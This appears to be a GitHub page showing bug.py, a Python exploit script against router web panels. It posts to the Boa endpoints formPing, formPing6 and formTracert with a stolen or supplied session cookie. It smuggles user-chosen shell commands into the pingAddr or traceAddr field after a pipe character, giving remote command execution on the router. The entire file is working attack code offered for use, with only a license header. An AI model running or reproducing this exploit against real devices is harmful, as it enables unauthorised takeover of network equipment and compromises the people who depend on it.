rt-rce/bug.py at main · ma1de/rt-rce · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
#This software is licensed under MIT
#Copyright goes to: ma1de (2025)
#This software comes with absolutely no warranty
import requests
import threading

def main():
    start()

# TODO implement more cases for responses
def handle_response(response):
    if not isinstance(response, requests.Response):
        print("Wrong parameter")
        return

    content = response.content

    if "/admin/login.asp" in str(content):
        print("Invalid sessionid.")
        return

    print(f"Got a response: {content}")

def execute_command(address, token, commands, mode):
    headers = {'Cookie': f'sessionid={token}'}

    match mode:
        case 1:
            for command in commands:
                handle_response(requests.post(
                    f'http://{address}/boaform/formPing',
                    data=f'pingAddr=1.1.1.1+|+{command.replace(' ', '+')}&wanif=65535',
                    headers=headers))
        case 2:
            for command in commands:
                handle_response(requests.post(
                    f'http://{address}/boaform/formPing6',
                    data=f'pingAddr=::+|+{command.replace(' ', '+')}&wanif=65535',
                    headers=headers))
        case 3:
            for command in commands:
                handle_response(requests.post(
                    f'http://{address}/boaform/formTracert',
                    data=f'proto=0&traceAddr=1.1.1.1+|+{command.replace(' ', '+')}&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535',
                    headers=headers))
        case _:
            print("Unsupported mode: " + mode)

def start():
    print("This program has 3 different modes")
    print("1) IPv4 Ping Mode")
    print("2) IPv6 Ping Mode")
    print("3) Traceroute Mode")
    mode = input("Please choose the mode: ")

    while mode not in [1, 2, 3, "1", "2", "3"]:
        mode = input("Please choose the mode: ")

    mode = int(mode)

    address = input("Please supply your vulnerable router IP address: ")

    token = input("Please supply the sessionid for the web panel: ")

    command = input("Supply commands to execute, when done type rce#fi: ")

    commands = []

    while command != 'rce#fi':
        commands.append(command)
        command = input("Supply commands to execute, when done type rce#fi: ")

    if len(commands) == 0:
        print("Commands are emtpy!")
        return

    thread = threading.Thread(target=execute_command, args=(address, token, commands, mode))
    thread.start()

if __name__ == "__main__":
    main()